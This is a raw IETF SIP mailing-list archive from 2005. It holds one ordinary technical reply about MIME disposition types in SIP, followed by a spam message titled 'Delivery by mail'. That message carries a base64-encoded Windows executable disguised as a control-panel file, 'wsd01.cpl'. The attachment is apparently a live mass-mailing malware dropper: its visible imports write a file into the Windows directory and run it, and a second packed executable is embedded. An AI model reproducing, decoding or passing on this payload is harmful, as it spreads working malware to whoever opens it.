4.32) id 1D5rYc-0002J5-Hx; Mon, 28 Feb 2005 15:31:58 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5rYa-0002J0-NG for sip@megatron.ietf.org; Mon, 28 Feb 2005 15:31:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA03892 for ; Mon, 28 Feb 2005 15:31:54 -0500 (EST) Received: from salvelinus.brooktrout.com ([204.176.205.6]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5rZN-00088L-7s for sip@ietf.org; Mon, 28 Feb 2005 15:32:46 -0500 Received: from nhmail2.needham.brooktrout.com (nhmail2.brooktrout.com [204.176.205.242]) by salvelinus.brooktrout.com (8.12.5/8.12.5) with ESMTP id j1SKTB8A006997; Mon, 28 Feb 2005 15:29:11 -0500 (EST) Received: by nhmail2.brooktrout.com with Internet Mail Service (5.5.2653.19) id ; Mon, 28 Feb 2005 15:25:18 -0500 Message-ID: From: Eric Burger To: Cullen Jennings Subject: RE: [Sip] Draft defining the Accept-Disposition header field Date: Mon, 28 Feb 2005 15:25:16 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Scan-Signature: 97adf591118a232206bdb5a27b217034 Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7baded97d9887f7a0c7e8a33c2e3ea1b Inline. > -----Original Message----- > From: Cullen Jennings [mailto:fluffy@cisco.com] > Sent: Friday, January 21, 2005 4:00 PM > To: gonzalo.camarillo@ericsson.com > Cc: sip@ietf.org; Paul H Kyzivat > Subject: Re: [Sip] Draft defining the Accept-Disposition header field > [snip] > > > The same thing with uri-list bodies. A conference server may support > > uri-list bodies for some reason, but may not support the > > 'recipient-list' disposition type. The disposition type is > what tells me > > that the conference server supports (or does not support) > the feature I > > want to use. (So far there are two disposition types associated with > > uri-list bodies and may be more in the future.) > > > > I guess I am wondering if using the MIME dispositions is > really the right > way to basically tell the UA what you want it to do with a > given SIP command > - what does recipient-list mean in the context of email or > other users of > MIME? [snip] It doesn't have to make any sense whatsoever (SIP vs. E-Mail). What is important is the disposition is well defined for the given media type. I would offer that it might be better to have different names than "inline" or "render", so it is clear we mean what we mean. _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Mon Feb 28 22:29:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA09322 for ; Mon, 28 Feb 2005 22:29:40 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D5y5f-0008Mf-RA for sip-web-archive@ietf.org; Mon, 28 Feb 2005 22:30:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5xwb-0003eY-HL; Mon, 28 Feb 2005 22:21:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D5xwZ-0003eO-KY for sip@megatron.ietf.org; Mon, 28 Feb 2005 22:21:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA08388 for ; Mon, 28 Feb 2005 22:21:04 -0500 (EST) Received: from 218-163-133-52.dynamic.hinet.net ([218.163.133.52] helo=mychat-4926d99b.net) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1D5xxK-00087M-Hh for sip@ietf.org; Mon, 28 Feb 2005 22:22:01 -0500 Date: Tue, 01 Mar 2005 11:21:02 +0800 To: "Sip" From: "Dromasca" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------vzqxfzzciunxhssiwwxq" X-Spam-Score: 3.3 (+++) X-Scan-Signature: 4a96669441ad70ecf6aebb4b47b971cd Subject: [Sip] Delivery by mail X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 54f716cba2c98b25bc07e094cc18394c ----------vzqxfzzciunxhssiwwxq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Thanks for use of our software.
----------vzqxfzzciunxhssiwwxq Content-Type: application/octet-stream; name="wsd01.cpl" Content-Disposition: attachment; filename="wsd01.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAFmIAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABZWAAAADAAAFlYAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVVgAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAI4DAQAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAACijAADRAAAAAPAAAI4TAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAC1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAAQgAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAI4TAAAA8AAA jhMAAABEAAAAAAAAAAAAAAAAAAAgAADg63INCnl1dXZlbG50Ymdma2Jramhoa2dqZ3Zrdmtn Z3RrYmJqYmcNCmxoaGdnamZkZ2RjZGhnaHRmaGpoa2p1dWhoamhmZmhqaGpoZw0KbGhoZ2dq ZmRnZGZkZnJldHJldGV5ZmVydGVydGV0ZXRmZGhnDQpg6AEAAADog8QE6AEAAADpXYHtTSJA AOiHAgAA6OsT6wLNIP8kJJpkc2pnamhqa2V3cWa+R0boAQAAAJpZjZXSIkAA6AEAAABpWGa/ TXPoNwIAAI1S+egBAAAA6FtozP/imsTExMTExMTExMTExMTExMTExMTExMTExMTExMTExP/k aGpoamdsamxramn/pT4lQADp6Ib////rAs0gi8TrAs0ggQAWAAAAD4X0AQAAaegAAAAAWJlq FVqNBAJQ6MABAABmPYbzdAPpjZV0I0AA6LUBAADoAQAAAGmDxASNvcMlQAC54D0AALqgpztT igf20DLFMsIyxtLAAsECxQLCAsbSyCrBKsX20CrCKsbSwNLIMsHTwogHR0l10ugBAAAA6IPE BA8L6CvSZIsCiyBkjwJYXcOai5U+JUAA6EkBAADoAQAAAMeDxAS7c3oAAGoEaAAwAABTagD/ lUIlQADoAQAAAOiDxARoAEAAAFNQ6AEAAADpg8QEUI2VwyVAAFLoDgAAAOgBAAAAaYPEBFpe DlbLYIt0JCSLfCQo/LKApOhsAAAAc/gryehjAAAAcxorwOhaAAAAcyBBsBDoUAAAABLAc/d1 QKrr1uh1AAAASeIU6GsAAADrLKzR6A+ElwAAABPJ6xyRSMHgCKzoUQAAAD0AfQAAcwqA/AVz BoP4f3cCQUGVi8VWi/cr8POkXuuPAtJ1BYoWRhLSw+slNlU5NlU5OlU5NlVDNlU5NlUPOTZV OTpVOTZVQzZVOTZVD1VDOSvJQejH////E8nowP///3Lyw+sjNlU5NlU5OlU5NlVDNlU5NlUP OTZVOTpVOTZVQzZVOTZVDzkrfCQoiXwkHGHD6wFpWFj/4FlSVY2FZiNAAFArwGT/MGSJIOsD x4ToUcPrA8eEmllB6/AAAAAAAAAAAGyjAAAAAAAAAAAAAISjAABsowAAZKMAAAAAAAAAAAAA kaMAAGSjAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOejAAAAAAAAnKMAAK2jAAC8owAAyqMAANmj AAAAAAAAS0VSTkVMMzIuRExMAFVTRVIzMi5ETEwAAABHZXRQcm9jQWRkcmVzcwAAAExvYWRM aWJyYXJ5QQAAAEV4aXRQcm9jZXNzAAAAVmlydHVhbEFsbG9jAAAAVmlydHVhbEZyZWUAAABN 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 